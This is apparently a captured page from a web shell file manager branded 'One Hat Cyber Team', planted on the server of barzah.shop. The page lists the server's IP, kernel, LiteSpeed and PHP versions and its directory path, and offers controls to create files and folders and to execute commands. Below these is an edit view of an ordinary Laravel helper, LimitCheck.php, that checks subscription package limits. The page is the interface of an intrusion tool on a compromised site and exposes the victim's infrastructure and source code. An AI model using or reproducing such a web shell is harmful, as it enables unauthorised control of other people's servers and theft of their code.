⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.155
Server IP:
57.129.66.90
Server:
Linux vps-7f548908 5.15.0-160-generic #170-Ubuntu SMP Wed Oct 1 10:06:56 UTC 2025 x86_64
Server Software:
LiteSpeed
PHP Version:
8.2.27
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
barzah.shop
/
public_html
/
app
/
Http
/
Helpers
/
Edit File: LimitCheck.php
where([ ['user_id', '=', $user_id], ['status', '=', 1], ['start_date', '<=', Carbon::now()->format('Y-m-d')], ['expire_date', '>=', Carbon::now()->format('Y-m-d')] ])->pluck('package_id')->first(); return $id; } public static function blogLimit($user_id) { $packageId = self::current_package($user_id); if (isset($packageId)) { $package = Package::query()->select('post_limit')->findOrFail($packageId); } return isset($packageId) && isset($package) ? $package->post_limit : 0; } public static function itemLimit($user_id) { $packageId = self::current_package($user_id); if (isset($packageId)) { $package = Package::query()->select('product_limit')->findOrFail($packageId); } return isset($packageId) && isset($package) ? $package->product_limit : 0; } public static function catLimit($user_id) { $packageId = self::current_package($user_id); if (isset($packageId)) { $package = Package::query()->select('categories_limit')->findOrFail($packageId); } return isset($packageId) && isset($package) ? $package->categories_limit : 0; } public static function subcatLimit($user_id) { $packageId = self::current_package($user_id); if (isset($packageId)) { $package = Package::query()->select('subcategories_limit')->findOrFail($packageId); } return isset($packageId) && isset($package) ? $package->subcategories_limit : 0; } public static function langLimit($user_id) { $packageId = self::current_package($user_id); if (isset($packageId)) { $package = Package::query()->select('language_limit')->findOrFail($packageId); } return isset($packageId) && isset($package) ? $package->language_limit : 0; } public static function pageLimit($user_id) { $packageId = self::current_package($user_id); if (isset($packageId)) { $package = Package::query()->select('number_of_custom_page')->findOrFail($packageId); } return isset($packageId) && isset($package) ? $package->number_of_custom_page : 0; } public static function orderLimit($user_id) { $packageId = self::current_package($user_id); if (isset($packageId)) { $package = Package::query()->select('order_limit')->findOrFail($packageId); } return isset($packageId) && isset($package) ? $package->order_limit : 0; } /** * count all feates from here * */ public static function packageFeaturesCount(int $user_id) { $user = User::find($user_id); $prevTotalLang = Language::count(); $featuresCount = []; $featuresCount['categories'] = $user->item_categories->count(); $featuresCount['subcategories'] = $user->item_sub_categories->count(); $featuresCount['languages'] = $user->languages->count() - $prevTotalLang; $featuresCount['items'] = $user->items->count(); $featuresCount['custome_page'] = $user->custome_page->count(); $featuresCount['blogs'] = $user->blogs->count(); return $featuresCount; } }
Simpan